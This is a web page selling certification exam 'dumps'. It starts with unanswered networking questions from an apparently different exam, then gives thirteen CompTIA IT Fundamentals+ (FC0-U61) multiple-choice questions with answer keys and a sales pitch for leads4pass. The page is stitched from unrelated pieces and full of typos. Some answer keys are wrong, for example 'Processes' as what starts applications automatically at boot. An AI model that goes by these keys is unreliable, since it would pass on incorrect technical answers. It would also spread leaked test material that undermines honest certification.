A network administrator plans to install network connectivity at a new remote office location. The administrator is concerned about how to troubleshoot network connectivity issues and reconfigure the remote router. The technician should use:

A. an SD card with a backup configuration

B. a TFTP server on the main network for backup configurations

C. a modem using POTS.

D. a second Ethernet interface for remote access.

Question 11:

A new employee is unable to access any network resources. All other users are able to access the network at 100Mbps No IP address, subnet mask or default gateway is displayed on the new employee\’s workstation The network administrator determinates all connectors using the correct standard Upon further investigation the network administrator also notices the following.

Wire map results from the user patch cable lo the patch cable connecting to the switch:

Pins 5 and 7 are short

The distance is 200ft (61m) Additional observations on the switch

The VLAN is set correctly

The port is not disabled

The duplex”;speed settings are correct

Port LEOs are off for that port.

The port is set to untagged.

Which of the following is the MOST likely reason the new employee is having network issues?

A. Bad switchport

B. Incorrect pinout

C. Open/short

D. VLAN mismatch

E. Distance limitation

Question 12:

A technician recently installed a new wireless access point for a SOHO with the latest wireless technologies After the installation users with older laptops report their laptops no longer show the wireless network SSID, whereas users with newer equipment do not have this issue. Which of the following is MOST likely the cause?

A. The passphrase was changed

B. The wireless cards do not support 802 11ac.

C. The security type has been upgraded to WPA2

D. The administrator is not broadcasting the SSID

Question 13:

A network administrator is looking for an out-of-band method for accessing the console ports of a company\’s network devices when working remotely. Which of the following can be deployed as a solution?

A. A hub

B. Abridge

C. A modem

D. A WAP

Question 14:

A network administrator is configuring a link-state routing protocol for traffic. Which of the following routing protocols should be implemented?

A. BGP

B. EIGRP

C. OSPF

D. RIPv2

Question 15:

Which of the following would an organization MOST likely have employees sign before granting access to confidential data?

A. An AUP

B. A BYOD policy

C. An NDA

D. A PUA

Publish the answer

Q10

Q11

Q12

Q13

Q14

Q15

See below

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FC0-U61 Dumps V11.02 | CompTIA IT Fundamentals+ Exam Solution

FC0-U61 Dumps V11.02 is the latest version of leads4pass FC0-U61 Dumps, a truly effective solution for the CompTIA IT Fundamentals+ exam.

The FC0-U61 Dumps V11.02 version has updated all previous exam questions and answers. The latest FC0-U61 exam questions and answers have been verified and verified by Amazon subject matter experts, and are true and valid.

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FC0-U61 Exam Information:

You should know that FC0-U61 is the exam code for the CompTIA IT Fundamentals+ Certification Exam, see the following for more basic information:

Vendor: CompTIA
Exam Code: FC0-U61
Exam Name: CompTIA IT Fundamentals+ Certification Exam
Certification: CompTIA IT Fundamentals+
Price: $130 USD
Length: 60 Minutes
Passing Score: 650 (on a scale of 900)
Number of Questions: Maximum of 75 questions per exam
Format: Multiple choice
languages: English

Share a part of FC0-U61 Dumps V11.02 for free

QUESTION 1:

A user wants to ensure port 3389 is open for remote desktop on a PC. Which of the following describes where the user should verify the port is open?

A. Antivirus
B. Anti-malware
C. Device Manager
D. Host firewall

Correct Answer: D

QUESTION 2:

Which of the following BEST describes a technology that allows multiple users to create and edit reports at the same time?

A. Text file on a shared drive
B. Managed relational database
C. Informational intranet page
D. Locally installed productivity software

Correct Answer: B

QUESTION 3:

Malware infections are being caused by websites. Which of the following settings will help prevent infections caused by Internet browsing?

A. Turn on private browsing
B. Delete browsing history on program close.
C. Notify when downloads are complete.
D. Configure prompting before downloading content.

Correct Answer: D

QUESTION 4:

Which of the following would allow an application to run automatically when a computer is started?

A. Processes
B. Journaling
C. Services
D. Drivers

Correct Answer: A

QUESTION 5:

A user connects a company computer to free WiFi at a local coffee shop. Which of the following BEST describes this situation?

A. Information on this network is encrypted.
B. The information on the network can be seen by others.
C. It is safe to access company information using the network.
D. Private browsing mode protects the information on the network.

Correct Answer: B

QUESTION 6:

Which of the following examples are MOST typical of fault tolerance practices used in business continuity planning? (Choose two.)

A. RAID storage
B. Uninterruptible power supplies
C. Off-site backups
D. Private cloud servers
E. Virtual-hosted desktops
F. Warm sites

Correct Answer: BC

QUESTION 7:

Which of the following is a reason why complex passwords are required?

A. To encourage password variety
B. To prevent someone from guessing them
C. To make them harder to remember
D. To reduce social engineering attacks

Correct Answer: B

QUESTION 8:

A security administrator is adding accounting features to a web application. Which of the following would be the BEST action?

A. Enhance the granularity of user permissions.
B. Enable an audit log.
C. Implement smart card login.
D. Adopt a procedure for adding accounts.

Correct Answer: B

QUESTION 9:

A technician is installing a new wireless network and wants to secure the wireless network to prevent unauthorized access. Which of the following protocols would be the MOST secure?

A. WPA
B. SSID
C. WEP
D. WPA2

Correct Answer: D

QUESTION 10:

A developer is in the process of creating a program and has started to draft the logic of the code. This process is an example of:

A. drawing a value stream map.
B. developing pseudocode.
C. identifying functions.
D. compiling the language.

Correct Answer: B

QUESTION 11:

A schema is a critical part of which the following?

A. Relational database
B. Key/value database
C. Document database
D. NoSQL database

Correct Answer: A

QUESTION 12:

Which of the following is a logical structure for storing files?

A. Folder
B. Extension
C. Permissions
D. Shortcut

Correct Answer: A

QUESTION 13:

A systems administrator wants to run a script but does not have access to the graphical user interface. Which of the following can be used to run scripts?

A. Text editor
B. Word processor
C. Command line
D. Spreadsheet

Correct Answer: C

……

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May 26, 2022 by admin CompTIA CompTIA FC0-U61 Exam Dumps CompTIA FC0-U61 Exam Questions CompTIA IT Fundamentals+ CompTIA IT Fundamentals+ Certification Exam